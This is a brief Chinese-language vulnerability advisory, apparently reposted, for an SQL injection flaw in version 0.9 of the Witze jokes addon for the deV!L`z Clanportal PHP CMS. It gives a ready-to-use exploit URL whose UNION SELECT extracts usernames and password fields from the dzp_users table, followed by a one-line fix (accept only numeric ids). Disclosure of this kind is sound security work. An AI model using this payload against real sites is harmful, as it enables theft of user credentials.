标题: deV!L`z Clanportal Witze Addon Versions 0.9 SQL Injection Vulnerability
作者: Easy Laster
下载地址: http://dzcp-zone.de/downloads/?action=show&id=97
影响版本: Witze Addon Versions 0.9
价格: free
缺陷类型: SQL Injection
脚本语言: PHP
测试证明
 
[+] 缺陷
   jokes/index.php?action=show&id=
利用
   www.2cto.com /jokes/index.php?action=show&id=9999999999999999999999999999+union+select+1,1,nick,pwd,1,1+from+dzp_users+where+id=1--+
修复
 
过滤或只允许id为数字